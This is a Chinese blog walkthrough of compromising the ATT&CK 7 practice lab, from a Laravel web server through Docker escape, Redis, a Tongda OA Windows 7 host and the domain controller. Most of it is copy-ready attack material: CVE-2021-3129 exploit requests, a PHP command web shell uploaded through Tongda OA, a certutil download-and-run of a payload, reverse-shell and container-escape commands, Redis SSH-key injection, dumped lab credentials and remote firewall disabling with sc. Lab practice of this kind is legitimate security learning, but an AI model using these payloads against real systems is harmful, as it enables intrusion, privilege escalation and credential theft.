ATT&CK(七)

最新推荐文章于 2024-07-10 19:27:42 发布
最新推荐文章于 2024-07-10 19:27:42 发布
阅读量1k 收藏 17
点赞数 19
分类专栏： 内网靶场 文章标签： python web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_52579508/article/details/139844084
版权

image.png开局

目标地址： 10.10.10.10
进行端口扫描

nmap -p 1-65535  10.10.10.10

image.png
端口还带有6376端口 ，redis数据库，先去看看web端
存在 81 web 端口 ，进行访问
image.png是一个 Laravel v8.29.0 (PHP v7.4.14)
对这个Laravel v8.29.0 进行搜索是否存在历史漏洞
是存在RCE漏洞的

Laravel Debug mode RCE（CVE-2021-3129)

Laravel是一套简洁、开源的PHP Web开发框架，旨在实现Web软件的MVC架构。
2021年01月12日，Laravel被披露存在一个远程代码执行漏洞（CVE-2021-3129）。当Laravel开启了Debug模式时，由于Laravel自带的Ignition 组件对file_get_contents()和file_put_contents()函数的不安全使用，攻击者可以通过发起恶意请求，构造恶意Log文件等方式触发Phar反序列化，最终造成远程代码执行。

image.png

漏洞复现

一：首先使用 phpggc工具生成一条laravel中存在的反序列化利用POC（经过编码后的）：

php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "phpinfo();" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"

image.png
得到POC(编码后) 在后面加个a
发送如下数据包，将Laravel的原日志文件laravel.log清空：

POST /_ignition/execute-solution HTTP/1.1
Host: 10.10.10.10:81
Content-Type: application/json
Content-Length: 328

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
  }
}

再发一个数据包，给Log增加一次前缀，用于对齐

POST /_ignition/execute-solution HTTP/1.1
Host: 10.10.10.10:81
Content-Type: application/json
Content-Length: 163

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "AA"
  }
}

但是我这里报错了，到这里就
image.png
先不管，继续，这次发送刚才生成的POC
image.png
还是报错的 。。。。。先跟着复现思路走吧
发送如下数据包，清空对log文件中的干扰字符，只留下POC：

POST /_ignition/execute-solution HTTP/1.1
Host: 10.10.10.10:81
Content-Type: application/json
Content-Length: 299

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
  }
}

使用phar://进行反序列化，执行任意代码（此时需要使用绝对路径）image.png
根据这个复现，看来是不成功的 发送数据包 （后面再来看看这种方法）
失败了 ，我们还是用github提供的脚步去获取webshell 吧
EXP地址： https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP
image.png
但是这里连接就要使用老版本哥斯拉去连接了 3.0 以下才能连接
进行连接
image.png
成功获取webshell了
当我们查看hostname的时候，发现名字是一串数字???
image.png
这个就不太对 ，看看是否是存在docker环境

cat /proc/self/cgroup  #查看是否是docker容器的常用命令

image.png
这么一看全是docker容器

Docker逃逸(提权)

Linux环境变量提权

使用find命令来搜索具有SUID或4000权限的文件

find / -perm -u=s -type f 2>/dev/null

通过这条命令，可以遍历任何可执行文件
image.png
在

/home/jobs/shell

存在一个shell文件
ls -la 查看一下
image.png
的确是一个可执行文件
但是这里不知为何一直进不去 、其他目录，
image.png就新建了webshell 换成蚁剑去连接
image.png
这里是可以成功切换路径的
使用蚁剑反弹一个shell过来，然后在shell中执行如下命令：
image.png
写一个bash 反弹shell，反弹到kali上
image.png
执行以下命令获取root权限

cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH 
export PATH=/tmp:$PATH # 将/tmp添加到环境变量中，并且先加载执行/tmp里的程序
cd /home/jobs
./shell
# 然后就获得了root权限，可以执行命令了

image.png
这样就获取root权限了 ，但是这里依然还是docker容器

Docker 特权模式逃逸

创建一个 hack目录
把/dev/sda1 挂载到 /hack 上
image.png
这样就成功挂载了
image.png
可以通过访问容器内部的/hack路径来达到访问整个宿主机的目的

web_delivery模块 （写计划任务）
use exploit/multi/script/web_delivery
set target 7    # 选择目标系统
set payload linux/x64/meterpreter/reverse_tcp
set lhost 10.10.10.11
set lport 4444
exploit  / run

image.png
由于目标docker环境没有wget 环境 ，自己把文件下载下来，放到/hack/tmp 目录下。
image.png
然后赋可执行权限，然后运行反弹shell 给msf
image.png
不对，我使用这个方法还是失败了 。（后面再试）
这里使用github 大佬的逃逸提权进行 逃逸

第一台ubuntu

一键逃逸 （0D25F57C.png）

大佬脚本 : https://github.com/SPuerBRead/shovel

 ./shovel   -r -m reverse -I 10.10.10.11 -P 8888 -y

image.png
image.png
超快逃逸脚本 我称为 0D33146F.png
拿到权限先看存在那些内网网段
image.png
发现存在

192.168.52.20/24
192.168.93.10/24

网段，但是我们访问的 10.10.10.10 咋不见了 ，这里可能是做了反向代理的
刚才扫描端口的时候还存在一个6379 redis 数据库
看看尝一下是否存在未授权访问

第二台 ubuntu

直接使用redis -h IP 默认连接方式去连接
image.png
成功连接了
目标主机上写入SSH公钥。 先在攻击机上生成ssh公钥：

ssh-keygen -t rsa

然后将公钥导入key.txt文件(前后用\n换行，避免和Redis里其他缓存数据混合)，再把key.txt文件内容写入目标主机的redis缓冲里

(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt
cat key.txt | redis-cli -h 192.168.1.8 -x set xxx

// -x 代表从标准输入读取数据作为该命令的最后一个参数。

image.png
攻击机连接目标机器Redis，分别执行如下命令将ssh公钥写入目标主机

config set dir /root/.ssh    # 设置redis的备份路径为/root/.ssh/
config set dbfilename authorized_keys    # 设置保存文件名为authorized_keys
save    # 将数据保存在目标服务器硬盘上

image.png
然后直接使用 ssh 10.10.10.10 直接连接
image.png
这台redis 才是 10.10.10.10 IP的主机 ，到现在已经获取两台主机了
切都是root权限
看来目标网站应该是做了反向代理，查看Nginx 的配置文件
image.png

81端口，就是指向的是一开始那台带有docker容器的ubuntu
两台Ubuntu 主机 一台Nginx反向代理 ，一台web服务器

DMZ区域的Ubuntu 18：192.168.1.8
第二层网络的Ubuntu 14：192.168.52.20

内网

在DMZ区的ubuntu 上面搭建一个代理 。然后把这个shell 传给msf
image.png
添加一个通往192.168.52.0 的 路由
image.png
kali 本地我也搭建了路由的
image.png
使用metasploit的 auxiliary/scanner/discovery/udp_probe 模块来扫描第二层网络中的主机存活

use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.52.1-255
set threads 5
run

image.png
很快就探索出一台了
image.png
就探测出192.168.52.30 这台主机 ，

防火墙问题

这里不管是搭建什么代理 ，一开始搭建的 Venom ，不行我还以为是软件出问题了不支持，又换了frp，结果还是超时，然后看了别人使用ew 我也用了还是超时
image.png
image.png
只能说ew 在这里还不错 ，在web端的OA系统他起码能访问到一点界面
kali端 访问出来是这个 ，这个也看不出来是这个啥东西
image.png
他这台win7 PC1 的 防火墙是有点问题的
然后使用MSF 测试 是否存在 ms17-010 漏洞
image.png然后去进行测试。ms17-010 漏洞
image.png
还是不成功 ，接着想使用

auxiliary(admin/smb/ms17_010_command) 模块

去执行命令 ，
image.png
结果还是无效 （。。。。。）

被迫关闭防火墙（技术不到啊，哭死）

搭建代理 进行端口扫描 看看部署了啥服务

proxychains nmap -sT -Pn -sV  192.168.52.30 -F

image.png
有一个8080 端口，是web服务 ，还是部署了Nginx的

第三台 Win7

通达OA

访问 http://192.168.52.30:8080/
image.png
欧 OA系统，通达OA存在很多漏洞的。
可以查看peiqi大佬的wiki 看是否存在漏洞
image.png
先查看这个OA系统是那个版本再对其查看相应漏洞
http://192.168.52.30:8080/inc/expired.php
image.png
是存在漏洞的 ，要进行漏洞组合利用，先任意用户登录，再进行文件上传，然后文件包含 。

漏洞复现

登录出进行抓包
image.png
然后替换php文件为/logincheck_code.php，删除cookie ，在post内容后添加一个&UID=1
image.png
这样可以获取一个cookie

Set-Cookie: PHPSESSID=2210hf2go2dr6bthdem1stfik1; path=/

用获取的SESSID访问/general/
这里我存在不管怎么替换cookie都不可以绕过登录，我以前是复现过通达OA v11.5 这个不行我这里 ，尝试后面存在的未授权任意文件上传

未授权文件上传+文件包含

任意文件上传漏洞 点存在于 /ispirit/im/upload.php
POC

POST /ispirit/im/upload.php HTTP/1.1
Host: 192.168.52.30:8080
Content-Length: 660
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5
Cookie: PHPSESSID=123
Connection: close

------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="UPLOAD_MODE"

2
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="P"

123
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="DEST_UID"

1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg

<?php
$command=$_POST['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
------WebKitFormBoundarypyfBh1YB4pV8McGB--


会返回路径
image.png

+OK [vm]257@2307_1632898820|jpg|0[/vm]
路径是  2308/1632898820.jpg

在配合文件包含漏洞才能对其进行命令执行
POC

POST /ispirit/interface/gateway.php HTTP/1.1
Host: 192.168.52.30:8080
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.21.0
Content-Length: 74
Content-Type: application/x-www-form-urlencoded

json={"url":"/general/../../attach/im/2307/1632898820.jpg"}&cmd=whoami

image.png
这是成功执行了的，ok 能执行命令
使用msfvenom 生成一个正向shell ，

POST /ispirit/interface/gateway.php HTTP/1.1
Host: 192.168.52.30:8080
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.21.0
Content-Length: 151
Content-Type: application/x-www-form-urlencoded

json={"url":"/general/../../attach/im/2307/1632898820.jpg"}&cmd=certutil -urlcache -split -f http://192.168.52.10:8000/win5550.exe c:/win5550.exe

去访问下载 win5550.exe 这个shell 放到c盘
image.png
然后去执行它
image.png
回弹shell
image.png
成功上线 win7 了 ，

信息搜集 域

image.png

存在网段 
192.168.93.0/24 
192.168.52.0/24
域名  whoamianony.org

想通过ping 域名来定位域控结果好像不行
image.png
先上传fsan 进行一波扫描
image.png
由于权限较低，先使用注入进程 去提升一下权限
image.png
使用fscan 进行扫描一波
image.png

可用信息
*] NetBios: 192.168.93.20   PC1.whoamianony.org                 Windows 7 Professional 7601 Service Pack 1 
[*] NetBios: 192.168.93.30   [+]DC DC.whoamianony.org            Windows Server 2012 R2 Datacenter 9600 
[*] NetBios: 192.168.93.1    WORKGROUP\0XO1                 
[+] 192.168.93.40       MS17-010        (Windows 7 Professional 7601 Service Pack 1)
[+] 192.168.93.30       MS17-010        (Windows Server 2012 R2 Datacenter 9600)
[*] WebTitle: http://192.168.93.20:8080 code:200 len:10065  title:通达OA网络智能办公系统
[+] InfoScan:http://192.168.93.20:8080 [通达OA] 
[*] WebTitle: http://192.168.93.1       code:200 len:0      title:None
[+] http://192.168.93.20:8080 tongda-user-session-disclosure 

DC域控 192.168.93.30
还有一台win7  存在ms17-010  192.168.93.40

先添加路由，然后对192.168.93.40 进行ms17-010 测试
结果还是打不通ms17-010
image.png
只能先抓取 密码了 ，再看看是否能进行横向
image.png

* Username : bunny
         * Domain   : WHOAMIANONY
         * Password : Bunny2021
  在这台上面之抓到了 域用户 bunny 没有抓到域控

第四台 win7

这里可以使用ms17-010 去攻击 192.168.93.40 但是这个东西占运气成分
当拿到第四台主机 win7 时候进行密码抓取就可以抓到 域控管理原密码 了
image.png

administrator：Whoami2021

域控 — winserver 2012 第五台

直接使用psexec

use exploit/windows/smb/psexec
set rhosts 192.168.93.30
set SMBUser administrator
set SMBPass Whoami2021
set payload windows/meterpreter/bind_tcp
set rhost 192.168.93.30
run

image.png
也是没有用的，可能开了防火墙
使用ipc连接关闭防火墙

net use \\192.168.93.30\ipc$ "Whoami2021" /user:"Administrator"

image.png
使用sc远程在域制器上创建服务，关闭防火墙

sc \\192.168.93.30 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"

sc \\192.168.93.30 start unablefirewall

image.png
亲自查看防火墙关闭没
image.png正常关闭的
测试了次了
image.png
终于获取shell 了
(如果这里msf的session 很久了，可能获取不了shell ，不太稳定，一直超时)
image.png
到这里也是成功获取shell 了
image.png

有一台linux 我给关掉了 ，内存太小了容易卡 ，这个靶场就先到这里 ，文章很乱 。 就先丢blog上面去
我后面会完善到我自己的本地笔记上 。
难到也是不是很难，但是很多细节我不太了解，我失败的地方很多
比如 ，docker 逃逸我看大佬使用msf的的web_delivery模块 （写计划任务）逃逸我没有成功，写ssh 我就没有成功过，第一个漏洞RCE我使用burp也没有复现成功 ，到后面就一直报错，通达OA 获取cookie绕过登录也失败了，我在前面复现过通达另外一个绕过登录对成功了，这个他会到最后跳转到本版信息哪里 ，
还有个奇葩的点，为什么我看哪些大佬在第一台win7 抓到了域控的密码，我抓不到，只能获取第二天win7的权限才能抓取到域控的权限 ，奇葩
哎 这么写下来还是挺麻烦挺难的 我chao 😫。

小龙_(R0 Team)
关注
  • 19
    点赞
  • 踩
  • 17
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
ATT&CK的理解与应用场景
weixin_44983560的博客
04-18 190
本文将详细介绍ATT&CK的概念，包括：ATT&CK核心组件和矩阵介绍；介绍ATT&CK的应用场景，包括：情报分析、威胁检测、模拟攻击和安全评估。
1.2ATT&CK框架
gtdisscary的博客
08-26 344
网络威胁情报就是要知道你的对手做了什么并使用它的信息以改进决策。对于一个只有几个分析师想要开始使用 ATT&CK 进行威胁情报的组织，您可以开始的一种方法是选择一个您关心的小组，并按照 ATT&CK 的结构查看他们的行为。ATT&CK 对于任何想要转向以威胁为导向的防御的组织都非常有用，因此我们希望分享有关如何开始的想法，无论您的团队多么复杂。您可以根据我们在网站上映射的组中选择一个组他们以前针对的组织。供应商也映射到 ATT&CK，因此您可以使用他们的信息作为参考。如何开始使用 ATT&CK？...
【ATT&CK】MITRE ATT&CK 设计与哲学
xqdd的专栏
11-10 283
ATT&CK组织在一系列“技术领域”中——生态系统是对手在提供对手必须规避或采取的一系列约束的范围内作战完成一系列目标的优势。到目前为止，MITRE已经定义了三种技术domains–Enterprise（代表传统的企业网络和云技术），移动（用于移动通信设备）和ICS（用于工业控制系统）。在内部每个技术领域，ATT&CK都定义了多个“平台”，即对手所在的系统在内部操作。平台可以是操作系统或应用程序（例如Microsoft Windows）。技术和子技术可以应用于多个平台。表1列出了目前为ATT&CK技术领域定
ATT&CK框架
热门推荐
qq_40216188的博客
02-28 2万+
ATT&CK框架一、ATT&CK框架1.1、侦查Reconnaissance-包含10项技术1.2、资源开发Resource Development-包含6项技术1.3、初始访问Initial Access-包含9项技术 一、ATT&CK框架 序号 战术 战术功能 1 侦察 信息收集 2 资源开发 建立攻击者行动所需资源 3 初始访问 进入目标网络，获取一个入口 4 执行 运行恶意代码 5 持久化 保持攻击立足点 6 权限提升 获取最高权限 7
ATT&CK实战指南
Vdieoo的博客
04-07 4249
ATT&CK框架作为安全领域继承Kill Chain的安全攻防框架，在全世界的信息安全领域正在如火如荼的发挥着影响。通过Google Trends可以看出在最近两年的热度呈指数级增长。 图1：ATT&CK框架的热度增长趋势 ATT&CK框架早在2014年就已提出，但当时的框架还比较简单。 图2：2014年时的ATT&CK框架 目前，这个框架还在不断演进，在今年10月份的ATT&CKcon 2.0大会上，披露的更新内容如下： 图3：ATT&
ATT&CK初步了解
博客地址 www.sec0nd.top
07-27 654
ATT&CK起源于一个项目，该项目记录并分类了入侵后针对微软Windows系统的对手战术、技术和程序(TTPs)，以提高对恶意行为的检测。后来它发展到包括Linux和macOS，并扩大到涵盖导致环境妥协的行为，以及技术重点领域，如移动设备、基于云的系统和工业控制系统。MITREATT&CK是一个针对网络对手行为的精心策划的知识库和模型，反映了对手攻击生命周期的各个阶段以及他们已知的目标平台。红队、紫队和渗透测试活动的规划、执行和报告可以使用ATT＆CK，以便防御者和报告接收者以及其内部之间有一个通用语言。.
什么是ATT&CK
qq_44833342的博客
05-29 344
ATT&CK框架将这些攻击方法按照攻击者的行为分为不同的阶段，包括初始访问、执行、持久化、凭证访问、发现、横向移动、收集、指令与控制与漏洞利用等。通过使用ATT&CK框架，安全专业人员可以更好地了解黑客攻击的行为模式，并采取相应的防御措施，以保护企业和组织的网络和系统安全。开源框架，用于描述和分类黑客攻击的战术、技术和常见知识。该框架包含了各种攻击者可能使用的技术和方法，包括渗透测试、间谍活动、勒索软件和其他恶意软件攻击等。
MITRE ATT&CK框架
Hi~ o(*￣▽￣*)ブ
11-13 6006
0X00 什么是ATT&CK
初识ATT&CK
m0_38103658的博客
05-12 2731
初识ATT&CK框架 前言： ATT&CK这一概念自2014年提出时起，作为安全分析领域中的前沿研究一直在默默地发挥着自己的影响，但是由于其概念在当时过于超前以至于并没有引起多大反响，直至2019年的红蓝对抗赛这才把ATT&CK框架重新推回到了安全圈的C位上，接下来的三期内容，美创安全实验室将为大家带来ATT&CK模型的独家解读，好了，废话不多说Let‘s go！ 但是要是想完全弄懂ATT&CK模型到底是什么，那么有一个相关概念以及问题必须要先弄懂。还请大家耐心看完。
ATT&CK手册(修改版)
09-16
**ATT&CK手册(修改版)** ATT&CK（Adversarial Tactics, Techniques & Common Knowledge）是由美国非营利组织MITRE Corporation开发的一种框架，用于描述和分类网络攻击者的行为战术、技术和过程（TTPs）。这个框架...
ATT&CK中文手册.zip
11-24
一、Initial Access(入口点) 二、Execution(命令执行) 三、Persistence(持久化) 四、Privilege Escalation(权限提升) 五、Defense Evasion(绕过防御) 六、Credential Access(获取凭证) 七、Discovery(基础信息收集) ...
ATT&CK框架介绍及战技术对照表
05-18
**ATT&CK框架详解** ATT&CK（Adversarial Tactics, Techniques & Common Knowledge）是由MITRE公司开发的一个公开的知识库，旨在提供一个统一的视角来理解和防御网络攻击。该框架详细描述了攻击者在不同阶段可能...
ATT&CK手册.pdf
09-20
ATT&CK手册.pdf
一键安装ros及出现问题的解决方案
最新发布
m0_58173801的博客
07-10 478
catkin_make时出现报错如下。
java占位符替换五种方式
weixin_61478518的博客
07-08 441
在业务开发中，经常需要输出文本串。其中，部分场景下大部分文本内容是一样的，只有少部分点是不一样。简单做法是直接拼接字段，但是这会有个问题。后面如果想要修改内容，那么每个地方都要修改，这不符合设计模式中的开闭原则，面向应该对扩展开放，对修改关闭。如何解决这个问题？先来看现实生活中的例子，个人信息填写。一般会要填写表格，已经定义好了姓名，性别，年龄等字段，只要填写对应的个人信息就好了。在程序开发中，我们会预先定义好一个字符串模板，需要改动的点使用占位符。
制作爬取4399游戏名称软件
fasdaegaw的博客
07-06 367
请求头={'User-Agent':'Mozilla/5.0 (Windows NT 10.0;网站源代码=requests.get(url=链接,headers=请求头).text #发送请求并且拿到网站源代码。class属性的结果=初始化.find(class_="tm_list") #class是关键字。li标签内容=class属性的结果.find_all('li') #list。链接='https://www.4399.com/' #网站链接。#发送请求并且拿到源代码。
python拆分Excel数据，自动发邮箱
cc605523的博客
07-06 699
message['To'] = ",".join(recipient_email) # 收件人（可以添加多个，若只有一个收件人，可直接写邮箱号）"采购部": ['young@realstarie.com', "865193996@qq.com"], # 可以添加多个收件人。# split_Excel("年假情况.xlsx", "年假_按部门汇总")department_df = df[df["部门"] == dept]depts = ["采购部", "船务部"]
MITRE ATT&CK
09-17
MITRE ATT&CK是一个强大且庞大的框架，用于描述和组织关于攻击者战术和技术的知识。它可以帮助安全专业人员了解攻击者可能使用的方法和技术，并提供对防御和检测措施的指导。 ATT&CK框架包括三个主要模型：ATT&CK for Enterprise、ATT&CK for Mobile和ATT&CK for ICS。ATT&CK for Enterprise适用于Windows、Linux、MacOS、云平台等技术和战术。ATT&CK for Mobile适用于移动设备的战术和技术。ATT&CK for ICS适用于工控设备的战术和技术。 ATT&CK框架使用矩阵的方式来展现攻击方的战术和技术。矩阵根据攻击者可能采取的不同行动进行分类。通过研究和理解ATT&CK矩阵，安全专业人员可以更好地了解攻击者的行为模式，并制定相应的防御策略和安全措施。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值